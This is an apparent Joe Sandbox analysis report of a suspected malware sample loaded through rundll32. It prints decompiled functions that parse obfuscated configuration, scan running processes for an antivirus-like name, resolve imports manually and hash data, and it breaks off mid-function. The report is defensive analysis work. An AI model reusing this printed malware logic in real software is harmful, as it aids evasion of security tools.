Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Crypt$memcpy$AcquireAllocateContextHeapImportParamlstrlen
String ID:
API String ID: 894908221-0
Opcode ID: 14ca5ef402d3f3fc3cdcfb004ba69e5e9096bef5b647e274e2593451086ab058
Instruction ID: 992949405038bfdcf26eab71bcd72219d322ba97219ed5f6cc8862b066bc65f4
Opcode Fuzzy Hash: 14ca5ef402d3f3fc3cdcfb004ba69e5e9096bef5b647e274e2593451086ab058
Instruction Fuzzy Hash: D2F0543610010ABBCF116F55DC01DEB7FADEF95750B408016FF49CB414DA72D65597A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010F1645 Relevance: 12.3, APIs: 8, Instructions: 258
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E010F1645(void* __ebx, int* __ecx, void* __edi, void* __esi) {
				int _v8;
				void* _v12;
				void* _v16;
				signed int _t28;
				signed int _t33;
				signed int _t39;
				char* _t45;
				char* _t46;
				char* _t47;
				char* _t48;
				char* _t49;
				char* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				signed int _t61;
				intOrPtr _t64;
				signed int _t65;
				signed int _t70;
				void* _t72;
				void* _t73;
				signed int _t75;
				signed int _t78;
				signed int _t82;
				signed int _t86;
				signed int _t90;
				signed int _t94;
				signed int _t98;
				void* _t101;
				void* _t102;
				void* _t115;
				void* _t118;
				intOrPtr _t121;

				_t118 = __esi;
				_t115 = __edi;
				_t104 = __ecx;
				_t101 = __ebx;
				_t28 =  *0x10fa344; // 0x69b25f44
				if(E010F7780( &_v8,  &_v12, _t28 ^ 0x889a0120) != 0 && _v12 >= 0x110) {
					 *0x10fa378 = _v8;
				}
				_t33 =  *0x10fa344; // 0x69b25f44
				if(E010F7780( &_v16,  &_v12, _t33 ^ 0x0159e6c7) == 0) {
					_v12 = 2;
					L69:
					return _v12;
				}
				_t39 =  *0x10fa344; // 0x69b25f44
				_push(_t115);
				if(E010F7780( &_v12,  &_v8, _t39 ^ 0xe60382a5) == 0) {
					L67:
					HeapFree( *0x10fa2d8, 0, _v16);
					goto L69;
				} else {
					_push(_t101);
					_t102 = _v12;
					if(_t102 == 0) {
						_t45 = 0;
					} else {
						_t98 =  *0x10fa344; // 0x69b25f44
						_t45 = E010F5450(_t104, _t102, _t98 ^ 0x7895433b);
					}
					_push(_t118);
					if(_t45 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t45, 0,  &_v8) != 0) {
							 *0x10fa2e0 = _v8;
						}
					}
					if(_t102 == 0) {
						_t46 = 0;
					} else {
						_t94 =  *0x10fa344; // 0x69b25f44
						_t46 = E010F5450(_t104, _t102, _t94 ^ 0x219b08c7);
					}
					if(_t46 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t46, 0,  &_v8) != 0) {
							 *0x10fa2e4 = _v8;
						}
					}
					if(_t102 == 0) {
						_t47 = 0;
					} else {
						_t90 =  *0x10fa344; // 0x69b25f44
						_t47 = E010F5450(_t104, _t102, _t90 ^ 0x31fc0661);
					}
					if(_t47 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t47, 0,  &_v8) != 0) {
							 *0x10fa2e8 = _v8;
						}
					}
					if(_t102 == 0) {
						_t48 = 0;
					} else {
						_t86 =  *0x10fa344; // 0x69b25f44
						_t48 = E010F5450(_t104, _t102, _t86 ^ 0x0cd926ce);
					}
					if(_t48 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t48, 0,  &_v8) != 0) {
							 *0x10fa004 = _v8;
						}
					}
					if(_t102 == 0) {
						_t49 = 0;
					} else {
						_t82 =  *0x10fa344; // 0x69b25f44
						_t49 = E010F5450(_t104, _t102, _t82 ^ 0x3cd8b2cb);
					}
					if(_t49 != 0) {
						_t104 =  &_v8;
						if(StrToIntExA(_t49, 0,  &_v8) != 0) {
							 *0x10fa02c = _v8;
						}
					}
					if(_t102 == 0) {
						_t50 = 0;
					} else {
						_t78 =  *0x10fa344; // 0x69b25f44
						_t50 = E010F5450(_t104, _t102, _t78 ^ 0x2878b929);
					}
					if(_t50 == 0) {
						L41:
						 *0x10fa2ec = 5;
						goto L42;
					} else {
						_t104 =  &_v8;
						if(StrToIntExA(_t50, 0,  &_v8) == 0 || _v8 == 0) {
							goto L41;
						} else {
							L42:
							if(_t102 == 0) {
								_t51 = 0;
							} else {
								_t75 =  *0x10fa344; // 0x69b25f44
								_t51 = E010F5450(_t104, _t102, _t75 ^ 0x261a367a);
							}
							if(_t51 != 0) {
								_push(_t51);
								_t72 = 0x10;
								_t73 = E010F2FBC(_t72);
								if(_t73 != 0) {
									_push(_t73);
									E010F72C7();
								}
							}
							if(_t102 == 0) {
								_t52 = 0;
							} else {
								_t70 =  *0x10fa344; // 0x69b25f44
								_t52 = E010F5450(_t104, _t102, _t70 ^ 0xb9d404b2);
							}
							if(_t52 != 0 && E010F2FBC(0, _t52) != 0) {
								_t121 =  *0x10fa3cc; // 0x51a95b0
								E010F765B(_t121 + 4, _t68);
							}
							if(_t102 == 0) {
								_t53 = 0;
							} else {
								_t65 =  *0x10fa344; // 0x69b25f44
								_t53 = E010F5450(_t104, _t102, _t65 ^ 0x3df17130);
							}
							if(_t53 == 0) {
								L59:
								_t54 =  *0x10fa348; // 0x40ad5a8
								_t22 = _t54 + 0x10fb252; // 0x616d692f
								 *0x10fa374 = _t22;
								goto L60;
							} else {
								_t64 = E010F2FBC(0, _t53);
								 *0x10fa374 = _t64;
								if(_t64 != 0) {
									L60:
									if(_t102 == 0) {
										_t56 = 0;
									} else {
										_t61 =  *0x10fa344; // 0x69b25f44
										_t56 = E010F5450(_t104, _t102, _t61 ^ 0xd2079859);
									}
									if(_t56 == 0) {
										_t57 =  *0x10fa348; // 0x40ad5a8
										_t23 = _t57 + 0x10fb79e; // 0x6976612e
										_t58 = _t23;
									} else {
										_t58 = E010F2FBC(0, _t56);
									}
									 *0x10fa3e0 = _t58;
									HeapFree( *0x10fa2d8, 0, _t102);
									_v12 = 0;
									goto L67;
								}
								goto L59;
							}
						}
					}
				}
			}

0x010f1645
0x010f1645
0x010f1645
0x010f1645
0x010f1648
0x010f1665
0x010f1673
0x010f1673
0x010f1678
0x010f1692
0x010f1900
0x010f1907
0x010f190b
0x010f190b
0x010f1698
0x010f169d
0x010f16b5
0x010f18ed
0x010f18f7
0x00000000
0x010f16bb
0x010f16bb
0x010f16bc
0x010f16c1
0x010f16d7
0x010f16c3
0x010f16c3
0x010f16d0
0x010f16d0
0x010f16d9
0x010f16e2
0x010f16e4
0x010f16ee
0x010f16f3
0x010f16f3
0x010f16ee
0x010f16fa
0x010f1710
0x010f16fc
0x010f16fc
0x010f1709
0x010f1709
0x010f1714
0x010f1716
0x010f1720
0x010f1725
0x010f1725
0x010f1720
0x010f172c
0x010f1742
0x010f172e
0x010f172e
0x010f173b
0x010f173b
0x010f1746
0x010f1748
0x010f1752
0x010f1757
0x010f1757
0x010f1752
0x010f175e
0x010f1774
0x010f1760
0x010f1760
0x010f176d
0x010f176d
0x010f1778
0x010f177a
0x010f1784
0x010f1789
0x010f1789
0x010f1784
0x010f1790
0x010f17a6
0x010f1792
0x010f1792
0x010f179f
0x010f179f
0x010f17aa
0x010f17ac
0x010f17b6
0x010f17bb
0x010f17bb
0x010f17b6
0x010f17c2
0x010f17d8
0x010f17c4
0x010f17c4
0x010f17d1
0x010f17d1
0x010f17dc
0x010f17ef
0x010f17ef
0x00000000
0x010f17de
0x010f17de
0x010f17e8
0x00000000
0x010f17f9
0x010f17f9
0x010f17fb
0x010f1811
0x010f17fd
0x010f17fd
0x010f180a
0x010f180a
0x010f1815
0x010f1817
0x010f181a
0x010f181b
0x010f1822
0x010f1824
0x010f1825
0x010f1825
0x010f1822
0x010f182c
0x010f1842
0x010f182e
0x010f182e
0x010f183b
0x010f183b
0x010f1846
0x010f1854
0x010f185e
0x010f185e
0x010f1866
0x010f187c
0x010f1868
0x010f1868
0x010f1875
0x010f1875
0x010f1880
0x010f1893
0x010f1893
0x010f1898
0x010f189e
0x00000000
0x010f1882
0x010f1885
0x010f188a
0x010f1891
0x010f18a3
0x010f18a5
0x010f18bb
0x010f18a7
0x010f18a7
0x010f18b4
0x010f18b4
0x010f18bf
0x010f18cb
0x010f18d0
0x010f18d0
0x010f18c1
0x010f18c4
0x010f18c4
0x010f18de
0x010f18e3
0x010f18e9
0x00000000
0x010f18ec
0x00000000
0x010f1891
0x010f1880
0x010f17e8
0x010f17dc

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,010FA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 010F16EA
StrToIntExA.SHLWAPI(00000000,00000000,?,010FA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 010F171C
StrToIntExA.SHLWAPI(00000000,00000000,?,010FA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 010F174E
StrToIntExA.SHLWAPI(00000000,00000000,?,010FA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 010F1780
StrToIntExA.SHLWAPI(00000000,00000000,?,010FA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 010F17B2
StrToIntExA.SHLWAPI(00000000,00000000,?,010FA00C,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?), ref: 010F17E4
HeapFree.KERNEL32(00000000,?,00000008,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?,?), ref: 010F18E3
HeapFree.KERNEL32(00000000,?,?,?,69B25F44,00000005,?,?,69B25F44,?,?,69B25F44,?,?), ref: 010F18F7

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f224984cf9daac073e5267c2bacd0af62a6b2e72b858680af9ce16071488c48f
Instruction ID: d80a5a8131deb656c11bfff7258fb644b9bb4c6b8f18d41ff316eee2fc761b3e
Opcode Fuzzy Hash: f224984cf9daac073e5267c2bacd0af62a6b2e72b858680af9ce16071488c48f
Instruction Fuzzy Hash: F981B674B00205EBD760DBB8DD86D9F7BFDBB48600B28486DA789D3D08EA7AE5458710

Uniqueness

Uniqueness Score: -1.00%

Function 010F68BD Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E010F68BD() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x10fa348; // 0x40ad5a8
						_t2 = _t9 + 0x10fbeb0; // 0x73617661
						_push( &_v264);
						if( *0x10fa12c() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x010f68c8
0x010f68d2
0x010f68d6
0x010f68e0
0x010f6911
0x010f68e7
0x010f68ec
0x010f68f9
0x010f6902
0x010f6919
0x010f6904
0x010f690c
0x00000000
0x010f690c
0x010f691a
0x010f691b
0x00000000
0x010f691b
0x00000000
0x010f6915
0x010f6921
0x010f6926

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 010F68CD
Process32First.KERNEL32(00000000,?), ref: 010F68E0
Process32Next.KERNEL32(00000000,?), ref: 010F690C
CloseHandle.KERNEL32(00000000), ref: 010F691B

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e8cc9ee88aa64b33c4d3c2c032265d586460d71ee92a2b7395d322af1f553c56
Instruction ID: f6a3b44ec7fa7bdfac0db5a0503d1a49b206320668330da7e6e928eb6b933d39
Opcode Fuzzy Hash: e8cc9ee88aa64b33c4d3c2c032265d586460d71ee92a2b7395d322af1f553c56
Instruction Fuzzy Hash: A1F0BB722051196AD730A6769C0BEEB37ACDBD5314F0000ADFBC9D3400EB35DA4987A1

Uniqueness

Uniqueness Score: -1.00%

Function 008F10C4 Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E008F10C4() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x8f41b0;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x8f41bc = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x8f41ac = _t3;
						_t5 = GetCurrentProcessId();
						 *0x8f41a8 = _t5;
						 *0x8f41b0 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x8f41a4 = _t6;
						if(_t6 == 0) {
							 *0x8f41a4 =  *0x8f41a4 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x008f10c5
0x008f10d3
0x008f10d9
0x008f10e0
0x008f1137
0x008f1137
0x008f10e2
0x008f10ea
0x008f10f7
0x008f10f7
0x008f1133
0x008f1135
0x00000000
0x00000000
0x00000000
0x008f10ec
0x008f10f3
0x008f10f9
0x008f10f9
0x008f10fe
0x008f110c
0x008f1111
0x008f1117
0x008f111d
0x008f1124
0x008f1126
0x008f1126
0x008f1130
0x008f10f5
0x008f10f5
0x00000000
0x008f10f5
0x008f10f3

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,008F1313), ref: 008F10D3
GetVersion.KERNEL32 ref: 008F10E2
GetCurrentProcessId.KERNEL32 ref: 008F10FE
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 008F1117

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: 9770010490e3f9df09eddac5c29266639aae49bf18edf1f2ee313c5a46a102a0
Instruction ID: 53a1364c63850d394e4b65dfd14b95be1663b56c05b0fabc0adb728c70bc3e5e
Opcode Fuzzy Hash: 9770010490e3f9df09eddac5c29266639aae49bf18edf1f2ee313c5a46a102a0
Instruction Fuzzy Hash: 26F03771684755EBEB209B78BC19FB63BA4F795711F00112BE601CA1E4EBB08AC1CB14

Uniqueness

Uniqueness Score: -1.00%

Function 008F15E3 Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008F15E3(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				signed int _t68;
				void* _t69;
				CHAR* _t71;
				signed short* _t73;

				_t69 = __edi;
				_v20 = _v20 & 0x00000000;
				_t59 =  *0x8f41c0;
				_t43 =  *((intOrPtr*)(_a4 + _t59 * 8 - 0x4d92f9a0));
				if(_t43 != 0) {
					_t45 = _t43 + __edi;
					_v12 = _t45;
					_t46 =  *((intOrPtr*)(_t45 + 0xc));
					if(_t46 != 0) {
						while(1) {
							_t71 = _t46 + _t69;
							_t47 = LoadLibraryA(_t71);
							_v28 = _t47;
							if(_t47 == 0) {
								break;
							}
							_v24 = _v24 & 0x00000000;
							 *_t71 = _t59 - 0x69b25f44;
							_t49 = _v12;
							_t61 =  *((intOrPtr*)(_t49 + 0x10));
							_t50 =  *_t49;
							if(_t50 != 0) {
								L6:
								_t73 = _t50 + _t69;
								_v16 = _t61 + _t69;
								while(1) {
									_t51 =  *_t73;
									if(_t51 == 0) {
										break;
									}
									if(__eflags < 0) {
										__eflags = _t51 - _t69;
										if(_t51 < _t69) {
											L12:
											_t21 =  &_v8;
											 *_t21 = _v8 & 0x00000000;
											__eflags =  *_t21;
											_v24 =  *_t73 & 0x0000ffff;
										} else {
											_t65 = _a4;
											__eflags = _t51 -  *((intOrPtr*)(_t65 + 0x50)) + _t69;
											if(_t51 >=  *((intOrPtr*)(_t65 + 0x50)) + _t69) {
												goto L12;
											} else {
												goto L11;
											}
										}
									} else {
										_t51 = _t51 + _t69;
										L11:
										_v8 = _t51;
									}
									_t53 = _v8;
									__eflags = _t53;
									if(_t53 == 0) {
										_t54 = _v24 & 0x0000ffff;
									} else {
										_t54 = _t53 + 2;
									}
									_t55 = GetProcAddress(_v28, _t54);
									__eflags = _t55;
									if(__eflags == 0) {
										_v20 = _t59 - 0x69b25ec5;
									} else {
										_t68 = _v8;
										__eflags = _t68;
										if(_t68 != 0) {
											 *_t68 = _t59 - 0x69b25f44;
										}
										 *_v16 = _t55;
										_t58 = 0x593682f4 + _t59 * 4;
										_t73 = _t73 + _t58;
										_t32 =  &_v16;
										 *_t32 = _v16 + _t58;
										__eflags =  *_t32;
										continue;
									}
									goto L23;
								}
							} else {
								_t50 = _t61;
								if(_t61 != 0) {
									goto L6;
								}
							}
							L23:
							_v12 = _v12 + 0x14;
							_t46 =  *((intOrPtr*)(_v12 + 0xc));
							if(_t46 != 0) {
								continue;
							} else {
							}
							L26:
							goto L27;
						}
						_t60 = _t59 + 0x964da13a;
						__eflags = _t60;
						_v20 = _t60;
						goto L26;
					}
				}
				L27:
				return _v20;
			}

0x008f15e3
0x008f15ec
0x008f15f1
0x008f15f7
0x008f1600
0x008f1606
0x008f1608
0x008f160b
0x008f1610
0x008f1617
0x008f1617
0x008f161b
0x008f1621
0x008f1626
0x00000000
0x00000000
0x008f162c
0x008f1636
0x008f1638
0x008f163b
0x008f163e
0x008f1642
0x008f164a
0x008f164c
0x008f164f
0x008f16b7
0x008f16b7
0x008f16bb
0x00000000
0x00000000
0x008f1654
0x008f165a
0x008f165c
0x008f166f
0x008f1672
0x008f1672
0x008f1672
0x008f1676
0x008f165e
0x008f165e
0x008f1666
0x008f1668
0x00000000
0x00000000
0x00000000
0x00000000
0x008f1668
0x008f1656
0x008f1656
0x008f166a
0x008f166a
0x008f166a
0x008f1679
0x008f167c
0x008f167e
0x008f1685
0x008f1680
0x008f1680
0x008f1680
0x008f168d
0x008f1693
0x008f1695
0x008f16c5
0x008f1697
0x008f1697
0x008f169a
0x008f169c
0x008f16a4
0x008f16a4
0x008f16a9
0x008f16ab
0x008f16b2
0x008f16b4
0x008f16b4
0x008f16b4
0x00000000
0x008f16b4
0x00000000
0x008f1695
0x008f1644
0x008f1644
0x008f1648
0x00000000
0x00000000
0x008f1648
0x008f16c8
0x008f16c8
0x008f16cf
0x008f16d4
0x00000000
0x00000000
0x008f16da
0x008f16e5
0x00000000
0x008f16e5
0x008f16dc
0x008f16dc
0x008f16e2
0x00000000
0x008f16e2
0x008f1610
0x008f16e6
0x008f16eb

APIs

LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 008F161B
GetProcAddress.KERNEL32(?,00000000), ref: 008F168D

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 00110134555757fc4c7b42990e26fb0ee06eac7486b07785dc77c4cadb0f8c75
Instruction ID: 64bd22bf47a87f3edddac522ccd2722adb7cd7acd434b104b43aecd2e491a0a0
Opcode Fuzzy Hash: 00110134555757fc4c7b42990e26fb0ee06eac7486b07785dc77c4cadb0f8c75
Instruction Fuzzy Hash: C5313971A0120EDBCF14CFA5C898ABDB7F5FF64355B284169DA01EB250E734DA40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010F4BF1 Relevance: 1.9, APIs: 1, Instructions: 611
COMMONCrypto

Download Yara Rule

C-Code - Quality: 49%

			E010F4BF1(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t338;
				signed char* _t348;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				signed int _t376;
				signed int _t378;
				signed int _t380;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t400;
				signed int* _t401;
				signed int _t402;
				signed int _t404;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				signed int _t414;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t424;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				signed int _t440;
				signed int _t508;
				signed int _t599;
				signed int _t607;
				signed int _t613;
				signed int _t679;
				void* _t682;
				signed int _t683;
				signed int _t685;
				signed int _t690;
				signed int _t692;
				signed int _t697;
				signed int _t699;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t734;
				signed int _t740;
				signed int _t742;
				signed int _t744;
				signed int _t746;
				signed int _t748;

				_t226 = _a4;
				_t348 = __ecx + 2;
				_t401 =  &_v76;
				_t682 = 0x10;
				do {
					 *_t401 = (((_t348[1] & 0x000000ff) << 0x00000008 |  *_t348 & 0x000000ff) << 0x00000008 |  *(_t348 - 1) & 0x000000ff) << 0x00000008 |  *(_t348 - 2) & 0x000000ff;
					_t401 =  &(_t401[1]);
					_t348 =  &(_t348[4]);
					_t682 = _t682 - 1;
				} while (_t682 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t683 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t402 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t349 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t683 & _t349 | _t402 & _t683) + _v76 +  *_t226 - 0x28955b88 + _t683;
				asm("rol ecx, 0xc");
				_t351 = ( !_t229 & _t402 | _t683 & _t229) + _v72 + _t349 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t404 = ( !_t351 & _t683 | _t351 & _t229) + _v68 + _t402 + 0x242070db + _t351;
				asm("ror esi, 0xa");
				_t685 = ( !_t404 & _t229 | _t351 & _t404) + _v64 + _t683 - 0x3e423112 + _t404;
				_v8 = _t685;
				_t690 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t685 & _t351 | _t404 & _v8) + _v60 + _t229 - 0xa83f051 + _t690;
				asm("rol ecx, 0xc");
				_t353 = ( !_t231 & _t404 | _t690 & _t231) + _v56 + _t351 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t406 = ( !_t353 & _t690 | _t353 & _t231) + _v52 + _t404 - 0x57cfb9ed + _t353;
				asm("ror esi, 0xa");
				_t692 = ( !_t406 & _t231 | _t353 & _t406) + _v48 + _t690 - 0x2b96aff + _t406;
				_v8 = _t692;
				_t697 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t692 & _t353 | _t406 & _v8) + _v44 + _t231 + 0x698098d8 + _t697;
				asm("rol ecx, 0xc");
				_t355 = ( !_t233 & _t406 | _t697 & _t233) + _v40 + _t353 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t408 = ( !_t355 & _t697 | _t355 & _t233) + _v36 + _t406 - 0xa44f + _t355;
				asm("ror esi, 0xa");
				_t699 = ( !_t408 & _t233 | _t355 & _t408) + _v32 + _t697 - 0x76a32842 + _t408;
				_v8 = _t699;
				asm("rol eax, 0x7");
				_t235 = ( !_t699 & _t355 | _t408 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t357 = ( !_t235 & _t408 | _v8 & _t235) + _v24 + _t355 - 0x2678e6d + _t235;
				_t508 =  !_t357;
				asm("ror edx, 0xf");
				_t410 = (_t508 & _v8 | _t357 & _t235) + _v20 + _t408 - 0x5986bc72 + _t357;
				_v12 = _t410;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t718 = (_v12 & _t235 | _t357 & _t410) + _v16 + _v8 + 0x49b40821 + _t410;
				asm("rol eax, 0x5");
				_t237 = (_t508 & _t410 | _t357 & _t718) + _v72 + _t235 - 0x9e1da9e + _t718;
				asm("rol ecx, 0x9");
				_t359 = (_v12 & _t718 | _t410 & _t237) + _v52 + _t357 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t412 = ( !_t718 & _t237 | _t359 & _t718) + _v32 + _t410 + 0x265e5a51 + _t359;
				asm("ror esi, 0xc");
				_t720 = ( !_t237 & _t359 | _t412 & _t237) + _v76 + _t718 - 0x16493856 + _t412;
				asm("rol eax, 0x5");
				_t239 = ( !_t359 & _t412 | _t359 & _t720) + _v56 + _t237 - 0x29d0efa3 + _t720;
				asm("rol ecx, 0x9");
				_t361 = ( !_t412 & _t720 | _t412 & _t239) + _v36 + _t359 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t414 = ( !_t720 & _t239 | _t361 & _t720) + _v16 + _t412 - 0x275e197f + _t361;
				asm("ror esi, 0xc");
				_t722 = ( !_t239 & _t361 | _t414 & _t239) + _v60 + _t720 - 0x182c0438 + _t414;
				asm("rol eax, 0x5");
				_t241 = ( !_t361 & _t414 | _t361 & _t722) + _v40 + _t239 + 0x21e1cde6 + _t722;
				asm("rol ecx, 0x9");
				_t363 = ( !_t414 & _t722 | _t414 & _t241) + _v20 + _t361 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t416 = ( !_t722 & _t241 | _t363 & _t722) + _v64 + _t414 - 0xb2af279 + _t363;
				asm("ror esi, 0xc");
